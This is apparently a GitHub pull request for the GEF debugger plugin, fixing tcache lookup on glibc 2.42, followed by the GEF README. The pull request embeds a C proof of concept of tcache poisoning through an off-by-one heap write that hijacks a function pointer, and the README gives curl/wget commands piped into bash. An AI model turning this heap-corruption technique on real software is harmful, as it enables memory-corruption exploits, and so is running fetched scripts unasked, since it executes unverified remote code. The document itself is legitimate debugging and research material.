## Description If gef cannot resolve a pointer to the tcache through symbol lookup it will assume the tcache is on the first allocated chunk. This is not true on glibc 2.42 (and possibly previous versions) since dlmalloc will only allocate the tcache [if the allocation being served has a size that fits the tcache](https://github.com/bminor/glibc/blob/glibc-2.42/malloc/malloc.c#L3474). This PR add a simple heuristic that checks if the first 64 bytes the first chunks are all less or equal to 7 (the max number of chunks in a tcache bins). If not, the next chunk is considered and the check repeated until a valid candidate is found or an error is raised (in this case the first chunk is used as a fallback, preserving legacy). In glibc 2.42 the tcache also changed in number of bins, increasing from 64 to 64+12. **I didn't check if any other structural change was made, it seems not**. This PR introduces two new instance variables in `GlibcHeapTcachebinsCommand`: `tcache_max_bins` and `tcache_count_size`. These are initialised in the ctor if the glibc version is known, otherwise the `find_tcache` method will set them based on the glibc version range inferred from the tcache chunk size (pretty much how the count size was determined). This patch was created to address this PoC of a recent glibc vulnerability and was tested with glibc 2.42. ``` #include <assert.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <string.h> static void normal_func(void) { puts("We are safe :)"); } static void malicious_func(void) { puts("Got hijacked!!"); } #define width 0x409 int main(void) { __attribute__((aligned(16))) void (*func_ptr)(void) = normal_func; char *buf = NULL; char *input = malloc(width + 1); if (input == NULL) return 1; memset(input, 0x61, width); input[width] = '\0'; // layout heap... size_t *chunk1 = malloc(0x408); size_t *chunk2 = malloc(0x28); size_t *chunk3 = malloc(0x28); size_t *chunk4 = malloc(0x28); free(chunk1); free(chunk4); // before off-by-one: [chunk2 ][chunk3 ] int rc = sscanf(input, "%1033mc", &buf); assert(rc != -1); _b: // release [chunk2 [chunk3 ]] free(chunk2); free(chunk3); // now hijack chunk3->fd via chunk2 chunk2 = malloc(0x58); chunk2[6] = (size_t)&func_ptr ^ ((size_t)chunk3 >> 12); // allocate chunk3 back, which is now at &func_ptr, write with another func size_t *chunk5 = malloc(0x28); chunk3 = malloc(0x28); *chunk3 = (size_t)malicious_func; func_ptr(); free(buf); free(input); return 0; } ``` ``` gcc poc.c -g -o poc gdb ./poc -ex 'b main:_b' -ex 'r' -ex 'heap bins tcache' ``` You must **not** have debug symbols for glibc such that [`tcache_addr = parse_address("(void *) tcache")`](https://github.com/hugsy/gef/blob/main/gef.py#L6935) fails to resolve. When using the current version of gef: <img width="751" height="430" alt="image" src="https://github.com/user-attachments/assets/35daa681-1c75-4a41-a920-042f4da4b4ef" /> because `malloc(width + 1)` doesn't fit in the tcache range and it's the first chunk allocated When using the patched version of gef: <img width="1171" height="83" alt="image" src="https://github.com/user-attachments/assets/b4086e1e-1447-4d15-a80f-68cb7907e307" />
GEF (pronounced ʤɛf - "Jeff") is a set of commands for x86/64, ARM, MIPS, PowerPC and SPARC to
assist exploit developers and reverse-engineers when using old school GDB. It provides additional
features to GDB using the Python API to assist during the process of dynamic analysis and exploit
development. Application developers will also benefit from it, as GEF lifts a great part of regular
GDB obscurity, avoiding repeating traditional commands, or bringing out the relevant information
from the debugging runtime.
Instant Setup
Simply make sure you have GDB 10.0 or higher compiled with Python3.10+ bindings, then:
# via the install script
## using curl
$ bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
## using wget
$ bash -c "$(wget https://gef.blah.cat/sh -O -)"
# or manually
$ wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
$ echo source ~/.gdbinit-gef.py >> ~/.gdbinit
# or alternatively from inside gdb directly
$ gdb -q
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-main').read()); gdb.execute('source %s' % g.name)
You can immediately see that GEF is correctly installed by launching GDB:
A few of GEF features include:
- One single GDB script
- Entirely architecture agnostic, NO dependencies:
GEFis battery-included and is installable instantly - Fast limiting the number of dependencies and optimizing code to make the commands as fast as possible
- Provides a great variety of commands to drastically change your experience in GDB.
- Easily extensible to create other commands by providing d more comprehensible layout to GDB Python API.
- Full Python3 support (Python2 support was
dropped - see
gef-legacy). - Built around an architecture abstraction layer, so all commands work in any GDB-supported architecture such as x86-32/64, ARMv5/6/7, AARCH64, SPARC, MIPS, PowerPC, etc.
- Suited for real-life apps debugging, exploit development, just as much as CTF
- And a lot more commands contributed by the community available on GEF-Extras !!
Check out the Screenshot page for more or try it
online (user:gef/password:gef-demo)
Documentation
Unlike other GDB plugins, GEF has an extensive and up-to-date documentation. Users are recommended to refer to it as it may help them in their attempts to use GEF. In particular, new users should navigate through it (see the FAQ for common installation problems), and the problem persists, try to reach out for help on the Discord channel or submit an issue.
Current status
| Documentation | License | Compatibility | CI Tests (main) |
|---|---|---|---|
Contribute
To get involved, refer to the Contribution documentation and the guidelines to start.
Sponsors
Another way to contribute to keeping the project alive is by sponsoring it! Check out the sponsoring documentation for details so you can be part of the list of those awesome sponsors.

